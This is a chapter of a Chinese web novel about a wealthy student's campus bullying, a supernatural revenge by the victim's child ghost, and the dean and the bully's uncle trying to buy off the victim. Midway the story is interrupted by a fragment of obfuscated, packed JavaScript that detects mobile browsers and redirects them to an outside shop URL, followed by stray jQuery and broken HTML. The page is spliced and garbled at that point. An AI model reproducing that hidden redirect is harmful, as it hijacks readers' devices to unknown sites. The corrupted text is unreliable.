“啊——”一声尖叫响彻云霄。
女厕门外,用身子抵着门的高大女生愣了下,下意识想开门,一只手阻止了她的动作。
周珊珊用气声警告道:“你想干什么?别忘了嘉月姐交给你的任务。”
“可是……”
有人路过时,周珊珊扬起脸提醒:“不好意思,嘉月在厕所换衣服呢,不太方便有人进去,要不你们去别的地方吧?”
想上厕所的同学们交换了一个眼神,犹豫了一下,还是心照不宣地离开了。
至于里面传来分不清谁的尖叫声,就当没听见吧。
这一届新生几乎都听说过沈大小姐的名号,出身豪门还是独女,亿万家产的继承人,起初同学们也动过想接近富婆的想法,但都被沈嘉月的恶劣脾气给吓走了。
军训时的沈嘉月像个发疯的吉娃娃,顶着一头大卷发,疯狂对教官出言不逊,军训期间不是喊累就是故意唱反调害班级在走方队的比赛中丢脸。
这还不算绝,最绝的是她带头霸凌一个性格内向的同学,差点把人家耳朵打聋。
当时就有人试图发到网上曝光,但视频不是没有流量就是火了之后被封号,时间长了,同学们都对这位颠婆大小姐敬而远之。
也有好心的同学想报警,还没实施被同伴拦下:“沈嘉月她爸爸刚捐了一栋楼,咱们惹不起的。”
“可是就这样看着不管吗?”
同学沉默了一下:“别人都没管,咱们凭什么管呢。”
“……”
女厕内,陈幼凝靠在冰棱的墙壁上,在脑海指挥玲玲。
【对,就这样用力地扒着她,想象自己是一根藤蔓,不要让她有机会挣脱。】
玲玲机械地复述:“不能……挣脱。”
她继续在沈嘉月耳边说:“坏人,埋进土里,不许见妈妈。”
轻灵幽冷的童音像是地狱里爬出来索命的幽灵,头皮传来炸开的错觉,她用力甩动身体,可背上那东西却如附骨之疽,怎么也无法刨除。
“啊啊啊——”
“什么东西?!!”什么东西一直在说话啊?!
这个厕所还有其他人吗?
沈嘉月有些崩溃。
阴冷的气息侵入脊背,浑身忽然一沉,像是有人正趴在她背上轻轻吹气,冰冷的吐息如毒蛇缠绕,沈嘉月心脏狂跳。
不要、不要……
不要杀她!
“嗬……”喉咙里发出僵硬的吞咽声,她像是不会呼吸了,嗓音干涩无比宛如风干的树皮被风吹响。
可预想中的疼痛并没有到来,沈嘉月失去的理智渐渐回笼。
“陈幼凝,你做了什么?”
陈幼凝蹲在地上一言不发,她低声啜泣,不住地呢喃:“不要打我,不要打我……”
“呜——”女生的呜咽声不似作假,可她刚才那副果断弄乱妆容的举动……
沈嘉月眼睛里投射出恶毒的光,她猛地喘了一口气,粗声说:“是你,是你对不对?是你搞的鬼,快把我身上这玩意弄下来!弄下来啊!!!你听见没有?!”
听着这不绝于耳的聒噪,陈幼凝冷静地对玲玲下令。
【扯她的头发,用力。】
【告诉她,再吵就杀了她。】
玲玲照做。
头皮传来撕裂的剧痛,沈嘉月僵直在原地,手指抖如筛糠,气喘如牛。
剧痛过后死亡却没有如期而至,她没死?那东西不过就是吓唬吓唬她?!
沈嘉月心脏又落回胸腔,她不知道哪来的胆子,背过手,在摸到一片濡湿的躯体后,先是尖叫一声随后用力撕扯。
【回来。】
陈幼凝在心里默念,1……2。
沈嘉月扯了个空,终于意识到有人在搞鬼,“是你,你这个贱人,害我这么狼狈,我要把你丢到公海里喂鱼!”
她将仇恨的眼神投射到陈幼凝身上,像是要用眼神把她剁碎。
知道问话也无用,沈嘉月干脆捡起地上的电击器,再次开启朝陈幼凝走去。
千钧一发之际,门被人粗暴撞开,导员举着正在视频的手机整个人怒气冲冲,“沈嘉月,你知不知道你自己在做什么?”
陈幼凝像是遇见了救星,边哭边跑,顺脚还绊了因为有人闯入,举着凶器发愣的女配。
“嗷——”杀猪般的叫声再次响起,这次却是开到最大的电击器飞至半空又落在自己身上,沈嘉月倒在地上脑子嗡嗡的,身上也嗡嗡的。
站在院长办公室,沈嘉月怎么也没想到,自己只不过想教训一个不识相的臭虫,却引来了自己的长辈,还是她最害怕的小叔。
沈涟一身西装,脚上的皮鞋锃光瓦亮,脸上还带着匆匆赶来的疲惫,他看着沈嘉月满脸失望:“嘉月,你怎么能做出这种事?”
坐在沙发椅上,已经苦干泪痕的女生抱着导员浑身发抖。
“老师,要不是你来得及时,我就要被沈同学打死了。”
“我不知道自己哪里得罪了沈同学,三番五次针对我,这次更是叫人把我堵在厕所,想用电击器……”
周院长说:“陈同学,你冷静一点,事情已经变成这样了,我们接下来该做的是寻找解决的办法。想想学业,想想你的将来,不如先收下沈同学家长的歉礼再……”
“周院长,你太让我失望了!”
陈幼凝抬起头,不可置信,眸中失望不已,她用一股玉石俱焚的决心,带着恨意道:“我绝对不接受和解!”
她缓了缓,又说:“周院长,院里同学都说您是一位平易近人、处处关心同学的好院长。我也相信您一定会为我做主的,不会偏袒任意一人。其实我现在坐在这里揭发沈同学欺凌弱小的行为,不仅是为了我自己——”
周院长刚要开口阻拦,陈幼凝已经抱着导员,大声在办公室里,义正言辞地说:“更是为了咱们学校里被沈同学霸凌过的其他受害者,她们迫于……无法开口。”
“可我不能就这么袖手旁观,我们还要在这个学校相处四年,这期间还不知道会有多少无辜的同学遭沈嘉月的毒手。院长,恳请您给学生们一个公道吧!”
陈幼凝倏然起身,朝着正悠闲品茗的周院长深深作揖。
办公室原本是关着的,不知何时居然被打开了,门外聚集了不少没有去午休待在教室自习的同学。
“又是沈嘉月,听说有个女生被她打到退学了。”
“真的假的,好狠的心啊。那学校就没处罚吗?”
“处罚了啊,但人家有钞能力,还不是好端端坐在这里,恐怕院长都不能拿她怎么样。这件事肯定轻拿轻放了。”
“这群天龙人真该死啊。”不知道是谁说了这一句,围观的学生顿时鸦雀无声。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208253|151052||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>天龙人之列的周院长脸色变得铁青,他青了又白,白了又紫,脸上跟打翻了调色盘一样,自从有不能越级告状的规定,还从没有人敢当着他的面说这种闲话。
可他却不能发作,因为看热闹的学生们没有指名道姓。
周院长只好拔高声音佯装威严:“谁在外面,叫你们辅导员过来!”
学生们闻言成鸟兽散开。
沈涟此刻也有些难堪,一个还没出社会不知天高地厚的女生,说的这番话阴阳怪气拉满,就差指着鼻子骂他行贿想要收买院长。
好,好的很。
他是被大哥叫来的,按理说到他这个地位本不该处理这种杂事,沈嘉月又不是他女儿,凭什么他要管这种腌臜事?
可最近大哥盯他越发紧了,他不得不出面表忠心,心里自然憋屈的紧。
沈涟看向沈嘉月,厉声道:“你看你干的什么好事?沈嘉月,跪下,道歉!”
陈幼凝直接一个闪现躲到了周院长的身后,“可别,我可受不起你们这些天龙人金贵的一拜。”
“我知道就算我告到公安,你们也有别的手段。我所求的也不多,我不要什么赔偿,也不会去告她,我只要她从这个学校退学!”
“你休想!”沈嘉月绝不可能接受从大学退学的丢人结局,就算爸爸妈妈可以送她出国,可她接受不了圈子里其他人的嘲笑。
沈嘉月刚要上前教训这个不知天高地厚的女人,就被沈涟厉声喝止:“你还嫌自己惹出的乱子不够多吗?”
认证物证,甚至监控都在,这场校园霸凌是真实地在众目睽睽之下发生了!
蠢货,做坏事也不找个隐蔽的地方,这不是成心给敌人生事的借口吗?沈家怎么会有这种女儿!
就连院长都没办法看在沈家的面子上,轻轻揭过。
院长为难地看向沈涟。
沈涟,沈氏集团的二把手,不过三十出头就被评为全市杰出企业家,平时不苟言笑只有面对夫人的时候才脸色稍霁的富一代,也是将来实际上沈氏的继承人。
被叫来处理侄女的同学矛盾已经稍显不耐,在发现这件事竟然不能单纯用钱摆平后,更是沉了脸色。
他淡淡道:“退学是不可能的。”
沈家丢不起这个人。
他的秘书来之前已经调查过这位姓陈的女同学的资料,一贫如洗,唯一还算威胁的陈家大公子已经出车祸去世。
沈涟只要想,他捏死陈幼凝就像捏死一只蚂蚁,但沈家这些年一直致力于用公益事业打造外在良好形象,不能因为一件小事影响大局。
沈涟眉眼间隐约有燥意:“这位陈同学,说个数吧。”
就在这时,门外忽然传来骚乱。
“这个姐姐是明星吗?她长得好美啊。”
“这皮肤这身材,看起来好完美一定很上镜,她好像往院长办公室去了。”
笃笃笃——
有人敲门,低柔宛转的嗓音如夜莺啼鸣,门外的女人一身素雅的旗袍,未施粉黛,她眼角甚至还有细纹,可就是让人有种遇见大美人的感觉。
美人在骨不在皮,这位女士完美的诠释了这句话。
她推门而入,惊呆了室内众人。
陈幼凝刚感受到玲玲回到了她的身体,忽然发现体内的鬼魂开始颤抖,小鬼冰凉的手紧紧地扣着她的手,下意识呢喃:“妈妈……”